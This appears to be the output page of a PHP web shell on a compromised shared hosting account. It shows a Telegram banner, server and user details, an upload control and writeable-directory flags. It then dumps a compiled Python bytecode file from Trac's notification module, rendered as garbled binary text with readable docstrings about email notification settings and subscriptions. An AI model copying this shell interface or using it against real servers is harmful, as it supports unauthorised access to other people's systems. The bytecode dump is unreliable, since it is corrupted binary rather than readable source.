https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/trac/notification/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/trac/notification/__pycache__/api.cpython-310.pyc
o

�k�`:A�@s�ddlmZddlmZmZmZmZmZddlm	Z	m
Z
mZddlm
Z
mZmZgd�ZGdd�de
�ZGdd	�d	e
�ZGd
d�de
�ZGdd
�d
e
�ZGdd�de
�ZGdd�de
�Zdd�Zdd�ZGdd�de�ZGdd�de	�ZdS)�)�defaultdict)�
BoolOption�
ConfigSection�ExtensionOption�
ListOption�Option)�	Component�	Interface�ExtensionPoint)�as_bool�lazy�to_list)
�IEmailAddressResolver�IEmailDecorator�IEmailSender�INotificationDistributor�INotificationFormatter�INotificationSubscriber�NotificationEvent�NotificationSystem�
get_target_id�parse_subscriber_configc@� eZdZdZdd�Zdd�ZdS)rz=Deliver events over some transport (i.e. messaging protocol).cC�dS)z+Return a list of supported transport names.N�rrr�7/usr/lib/python3/dist-packages/trac/notification/api.py�
transports$�z#INotificationDistributor.transportscCr)aKDistribute the notification event.

        :param transport: the name of a supported transport
        :param recipients: a list of (sid, authenticated, address, format)
                           tuples, where either `sid` or `address` can be
                           `None`
        :param event: a `NotificationEvent`
        Nr)�	transport�
recipients�eventrrr�
distribute'rz#INotificationDistributor.distributeN)�__name__�
__module__�__qualname__�__doc__rr!rrrrr!src@r)rz?Convert events into messages appropriate for a given transport.cCr)z�Return a list of supported styles.

        :param transport: the name of a transport
        :return: a list of tuples (style, realm)
        Nr)rrrr�get_supported_styles5rz+INotificationFormatter.get_supported_stylescCr)ahConvert the event to an appropriate message.

        :param transport: the name of a transport
        :param style: the name of a supported style
        :return: The return type of this method depends on transport and must
                 be compatible with the `INotificationDistributor` that
                 handles messages for this transport.
        Nr)r�styler rrr�format<rzINotificationFormatter.formatN)r"r#r$r%r&r(rrrrr2src@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)rz!Subscribe to notification events.cCr)aqReturn a list of subscriptions that match the given event.

        :param event: a `NotificationEvent`
        :return: a list of tuples (class, distributor, sid, authenticated,
                 address, format, priority, adverb), where small `priority`
                 values override larger ones and `adverb` is either
                 'always' or 'never'.
        Nr)r rrr�matchesJrzINotificationSubscriber.matchescCr)z<Description of the subscription shown in the preferences UI.Nrrrrr�descriptionTrz#INotificationSubscriber.descriptioncCr)z'Can only authenticated users subscribe?Nrrrrr�requires_authenticationWrz/INotificationSubscriber.requires_authenticationcCr)a�Optionally return a list of default subscriptions.

        Default subscriptions that the module will automatically generate.
        This should only be used in reasonable situations, where users can be
        determined by the event itself.  For instance, ticket author has a
        default subscription that is controlled via trac.ini.  This is because
        we can lookup the ticket author during the event and create a
        subscription for them.  Default subscriptions should be low priority
        so that the user can easily override them.

        :return: a list of tuples (class, distributor, format, priority,
                 adverb)
        Nrrrrr�default_subscriptionsZrz-INotificationSubscriber.default_subscriptionsN)r"r#r$r%r)r*r+r,rrrrrGs
rc@�eZdZdZdd�ZdS)rz Map sessions to email addresses.cCr)z�Map a session id and authenticated flag to an e-mail address.

        :param sid: the session id
        :param authenticated: 1 for authenticated sessions, 0 otherwise
        :return: an email address or `None`
        Nr)�sid�
authenticatedrrr�get_address_for_sessionmrz-IEmailAddressResolver.get_address_for_sessionN)r"r#r$r%r0rrrrrj�rc@seZdZdd�ZdS)rcCr)z�Manipulate the message before it is sent on it's way.

        :param event: a `NotificationEvent`
        :param message: an `email.message.Message` to manipulate
        :param charset: the `email.charset.Charset` to use
        Nr)r �message�charsetrrr�decorate_messagewrz IEmailDecorator.decorate_messageN)r"r#r$r4rrrrrvsrc@r-)rzCExtension point interface for components that allow sending e-mail.cCr)zSend message to recipients.Nr)�	from_addrrr2rrr�send�rzIEmailSender.sendN)r"r#r$r%r6rrrrr�r1rcCs,t|d�r
t|j�St|d�r|jSt|�S)z�Extract the resource ID from event targets.

    :param target: a resource model (e.g. `Ticket` or `WikiPage`)
    :return: the resource ID
    �id�name)�hasattr�strr7r8)�targetrrrr�s



rcCsLddddd�}i}|��}|�|�tt�}|D]W\}}|�dd�}|d}t|�dkr9||�||��d	��q|d}	|�|	�}
|
dusKt|
t	�rLnt|
t
�rVt
|�}nt|
t�r`t|�}n	t|
t
�rit|�}||||	<qtt
�}|��D]\}}|��D]
\}
}|�|
|�q�||d
�|�qx|��D]
}|jdd�d
�q�|S)z6Given a list of options from [notification-subscriber]�email�d�alwaysN)�distributor�priority�adverbr(�.�r)r8�classrDcSs|d|dfS)Nr@r8r)�valuerrr�<lambda>�sz)parse_subscriber_config.<locals>.<lambda>��key)�copy�updater�dict�split�len�strip�get�
isinstancer:�int�boolr�listr
�items�
setdefault�append�values�sort)�rawsubscriptions�required_attrs�optional_attrs�known_attrs�byname�optionrE�partsr8�	attribute�known�byclass�
attributesrHrWrrrr�sB�






rc@seZdZdZddd�ZdS)ra~All data related to a particular notification event.

    :param realm: the resource realm (e.g. 'ticket' or 'wiki')
    :param category: the kind of event that happened to the resource
                     (e.g. 'created', 'changed' or 'deleted')
    :param target: the resource model (e.g. Ticket or WikiPage) or `None`
    :param time: the `datetime` when the event happened
    �cCs"||_||_||_||_||_dS�N)�realm�categoryr;�time�author)�selfrfrgr;rhrirrr�__init__�s

zNotificationEvent.__init__N)rd)r"r#r$r%rkrrrrr�s	rc@sXeZdZeddedd�Zedddd�Zeddd	d
�Z	edddd
�Z
edddd�Zeddd	d�Ze
dddddd�Ze
dddddd�Zedddd�Ze
ddddd�Ze
ddddd�Zeddd d!�Zedd"dd#�Zedd$dd%�Zedd&d'd(�Zedd)d*d+�Zed,d-�Zee�Zee�Zed.d/��Z d0d1�Z!d2d3�Z"d4d5�Z#d6d7�Z$d8d9�Z%d:d;�Z&d<d=�Z'd>S)?r�notification�email_sender�SmtpEmailSendera4Name of the component implementing `IEmailSender`.

        This component is used by the notification system to send emails.
        Trac currently provides `SmtpEmailSender` for connecting to an SMTP
        server, and `SendmailEmailSender` for running a `sendmail`-compatible
        executable.
        �smtp_enabled�falsezEnable email notification.�	smtp_fromztrac@localhostz�Sender address to use in notification emails.

        At least one of `smtp_from` and `smtp_replyto` must be set, otherwise
        Trac refuses to send notification mails.�smtp_from_namerdz*Sender name to use in notification emails.�smtp_from_authoraUse the author of the change as the sender in notification emails
           (e.g. reporter of a new ticket, author of a comment). If the
           author hasn't set an email address, `smtp_from` and
           `smtp_from_name` are used instead.
           (''since 1.0'')�smtp_replytoz�Reply-To address to use in notification emails.

        At least one of `smtp_from` and `smtp_replyto` must be set, otherwise
        Trac refuses to send notification mails.�smtp_always_cc)�,� z�Comma-separated list of email addresses to always send
               notifications to. Addresses can be seen by all recipients
               (Cc:).)�sep�doc�smtp_always_bccz�Comma-separated list of email addresses to always send
            notifications to. Addresses are not public (Bcc:).
            �smtp_default_domainaDefault host/domain to append to addresses that do not specify
           one. Fully qualified addresses are not modified. The default
           domain is appended to all username/login for which an email
           address cannot be found in the user settings.�ignore_domainsz�Comma-separated list of domains that should not be considered
           part of email addresses (for usernames with Kerberos domains).)ry�
admit_domainszuComma-separated list of domains that should be considered as
        valid for email addresses (such as localdomain).�
mime_encoding�nonea�Specifies the MIME encoding scheme for emails.

        Supported values are: `none`, the default value which uses 7-bit
        encoding if the text is plain ASCII or 8-bit otherwise. `base64`,
        which works with any kind of content but may cause some issues with
        touchy anti-spam/anti-virus engine. `qp` or `quoted-printable`,
        which works best for european languages (more compact than base64) if
        8-bit encoding cannot be used.
        �
use_public_ccz�Addresses in the To and Cc fields are visible to all recipients.

        If this option is disabled, recipients are put in the Bcc list.
        �use_short_addraPermit email address without a host/domain (i.e. username only).

        The SMTP server should accept those addresses, and either append
        a FQDN or use local delivery. See also `smtp_default_domain`. Do not
        use this option with a public SMTP server.
        �smtp_subject_prefix�__default__z�Text to prepend to subject line of notification emails.

        If the setting is not defined, then `[$project_name]` is used as the
        prefix. If no prefix is desired, then specifying an empty option
        will disable it.
        �message_id_hash�md5zMHash algorithm to create unique Message-ID header.
        ''(since 1.0.13)''znotification-subscriberaKThe notifications subscriptions are controlled by plugins. All
        `INotificationSubscriber` components are in charge. These components
        may allow to be configured via this section in the `trac.ini` file.

        See TracNotification for more details.

        Available subscribers:
        [[SubscriberList]]
        cCs|j��}t|�Sre)�notification_subscriber_section�optionsr)rjrYrrr�subscriber_defaultsGs
z&NotificationSystem.subscriber_defaultsccs6�|j|D]}||d|d|d|dfVqdS)Nr?r(r@rA)r�)rj�klass�drrrr,Ls���z(NotificationSystem.default_subscriptionscCs|j�dd|�p
dS)Nrlzdefault_format.z
text/plain)�configrO)rjrrrr�get_default_formatQs
��z%NotificationSystem.get_default_formatcCs&ddlm}||j|||�p|�|�S)Nr)�get_preferred_format)�trac.notification.prefsr��envr�)rjr.r/rr�rrrr�Us
��z'NotificationSystem.get_preferred_formatcCs|j�|||�dS)z&Send message to recipients via e-mail.N)rmr6)rjr5rr2rrr�
send_email[szNotificationSystem.send_emailcCs|�||�|��dS)z_Distribute an event to all subscriptions.

        :param event: a `NotificationEvent`
        N)�distribute_event�
subscriptions)rjr rrr�notify_szNotificationSystem.notifyc
Cs�i}|D]"\}}}}}|�|i�}	|||f}
|
|	vrq|p#|�|||�|	|
<q|jD]}|��D]}||vrHdd�||��D�}|�|||�q0q*dS)a$Distribute a event to all subscriptions.

        :param event: a `NotificationEvent`
        :param subscriptions: a list of tuples (sid, authenticated, address,
                              transport, format) where either sid or
                              address can be `None`
        cSs(g|]\}}|d|d|d|f�qS)rrC�r)�.0�kr(rrr�
<listcomp>ys�z7NotificationSystem.distribute_event.<locals>.<listcomp>N)rUr��distributorsrrTr!)
rjr r��packagesr.r/�addressrr(�packagerHr?rrrrr�fs&

�

����z#NotificationSystem.distribute_eventc	cs��g}|jD]+}|jdkr$|�|j�D]}|�dd�|�|�D��qq|�dd�|�|�D��qt|dd�d�}d}|D]:\}}}	}
}}}
}||	|
f|krPq>|d	krg|j�d
|	|
||�|	|
|||fVn
|j�d|	|
||�|	rx||	|
f}q>dS)z�Return all subscriptions for a given event.

        :return: a list of (sid, authenticated, address, transport, format)
        �batchmodifycs��|]}|r|VqdSrer�r��xrrr�	<genexpr>���z3NotificationSystem.subscriptions.<locals>.<genexpr>csr�rerr�rrrr��r�cSs,|d|ddurdn|d|d|dfS)NrCr�rd��r)�vrrrrF�s�z2NotificationSystem.subscriptions.<locals>.<lambda>rGNr>z3Adding (%s [%s]) for 'always' on rule (%s) for (%s)z4Ignoring (%s [%s]) for 'never' on rule (%s) for (%s))	�subscribersrg�get_ticket_change_eventsr��extendr)�sorted�log�debug)rjr r��
subscriber�ticket_event�ordered�previous_combination�rulerr.�auth�addr�fmt�priorArrrr�~s6�

����
��z NotificationSystem.subscriptionsN)(r"r#r$rrrmrrorrqrrrsrtr�smtp_always_cc_list�smtp_always_bcc_listr{�ignore_domains_list�admit_domains_listr~r�r�r�r�rr�r
rr�rr�rr�r,r�r�r�r�r�r�rrrrr�s��
��������������	��
rN)�collectionsr�trac.configrrrrr�	trac.corerr	r
�	trac.utilrrr
�__all__rrrrrrrr�objectrrrrrr�<module>s#
+

https://t.me/RX1948 - 2025